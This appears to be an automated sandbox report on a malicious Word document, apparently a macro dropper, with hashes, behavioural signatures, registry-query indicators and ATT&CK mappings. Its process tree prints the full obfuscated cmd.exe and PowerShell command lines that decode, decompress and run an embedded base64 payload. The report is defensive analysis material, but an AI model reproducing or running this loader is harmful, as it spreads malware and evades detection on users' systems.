03128d63886828689cca7198e5067843a68493d0c073bfcf22bac23b893afd85

General

Target

ACHFORMJLIL09212811597717.doc
Size

232KB
MD5

01e27446d5dccb690e518dd0d398294f
SHA1

96cc081662e2d8502a56914a754f88a0257c9e00
SHA256

03128d63886828689cca7198e5067843a68493d0c073bfcf22bac23b893afd85
SHA512

97d6e6926604394bd7a8c013bf433b70567e7206af869dc9380ae5320cd567cd41eab87a9ea408fc0fcf1dcd14aa6db93cc8678af4cb2227fae56253f6d501f7
SSDEEP

3072:DlFZ9MOFUca0DNB1Go08MOKXlxwJ1lPwW5RlMXvWoNwKRRWl81X9:RFzFUK6oHMxipwwKR4C3

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2508	1616	cmd.exe	48

Blocklisted process makes network request 7 IoCs

flow	pid	Process
41	220	powershell.exe
42	220	powershell.exe
45	220	powershell.exe
46	220	powershell.exe
48	220	powershell.exe
50	220	powershell.exe
56	220	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2508	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1616	WINWORD.EXE
1616	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 2508	1616	WINWORD.EXE	86
PID 1616 wrote to memory of 2508	1616	WINWORD.EXE	86
PID 2508 wrote to memory of 220	2508	cmd.exe	88
PID 2508 wrote to memory of 220	2508	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ACHFORMJLIL09212811597717.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" NwRIFdz nrwDbYcdrCEZBUZYKl iEfrXNuwRbHwF & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %tiujXiwECZYbwOn%=wFASDPJ&&set %icRrjoizjHrhUL%=p&&set %LjcsnplQt%=o^w&&set %PAZGYQlHnRctCZa%=kZndGbZ&&set %qjQWNsAqEF%=!%icRrjoizjHrhUL%!&&set %QkiksJXNKdVffwY%=oRSlKVUlfWz&&set %LtoaKKIoihQapQ%=e^r&&set %iEzUoEDrudB%=!%LjcsnplQt%!&&set %wGUtjBKCjU%=s&&set %PtQmCnbIWpjszPD%=QhtuHMwzL&&set %jDrJtLXzVuu%=he&&set %ZwjsqdwkuM%=ll&&!%qjQWNsAqEF%!!%iEzUoEDrudB%!!%LtoaKKIoihQapQ%!!%wGUtjBKCjU%!!%jDrJtLXzVuu%!!%ZwjsqdwkuM%! " . ( ([STrING]$VeRbOsePreFErENCE)[1,3]+'X'-join'')(&('NE'+'W-ob'+'JE'+'ct') ('S'+'ySTem'+'.Io.CO'+'mPrE'+'SSi'+'o'+'N'+'.DeF'+'lAtEST'+'ReAM')([iO.memORYstream] [SystEM.conVert]::FrOMbaSE64sTRINg( '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' ) , [SySTem.io.coMpREssIon.cOmpreSSioNmOdE]::deCoMpRess ) | .('F'+'o'+'ReAch-ObJEcT'){&('NEW-ob'+'JE'+'ct') ('IO.StreA'+'mre'+'aDE'+'R')($_ ,[sysTEM.TEXt.encODing]::AscII) }|.('For'+'eAcH-oBje'+'ct') { $_.reADtoEnD( ) } )
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell " . ( ([STrING]$VeRbOsePreFErENCE)[1,3]+'X'-join'')(&('NE'+'W-ob'+'JE'+'ct') ('S'+'ySTem'+'.Io.CO'+'mPrE'+'SSi'+'o'+'N'+'.DeF'+'lAtEST'+'ReAM')([iO.memORYstream] [SystEM.conVert]::FrOMbaSE64sTRINg( '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' ) , [SySTem.io.coMpREssIon.cOmpreSSioNmOdE]::deCoMpRess ) | .('F'+'o'+'ReAch-ObJEcT'){&('NEW-ob'+'JE'+'ct') ('IO.StreA'+'mre'+'aDE'+'R')($_ ,[sysTEM.TEXt.encODing]::AscII) }|.('For'+'eAcH-oBje'+'ct') { $_.reADtoEnD( ) } )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0hmzcyj.gtr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/220-165-0x000001EEF4DF0000-0x000001EEF4E00000-memory.dmp

Filesize
64KB

Download
memory/220-164-0x000001EEF4DF0000-0x000001EEF4E00000-memory.dmp

Filesize
64KB

Download
memory/220-163-0x000001EEF4DF0000-0x000001EEF4E00000-memory.dmp

Filesize
64KB

Download
memory/220-162-0x000001EEF4D70000-0x000001EEF4D92000-memory.dmp

Filesize
136KB

Download
memory/1616-137-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-139-0x00007FF7F2AB0000-0x00007FF7F2AC0000-memory.dmp

Filesize
64KB

Download
memory/1616-138-0x00007FF7F2AB0000-0x00007FF7F2AC0000-memory.dmp

Filesize
64KB

Download
memory/1616-133-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-136-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-134-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-135-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-189-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-190-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-191-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download
memory/1616-192-0x00007FF7F4EF0000-0x00007FF7F4F00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads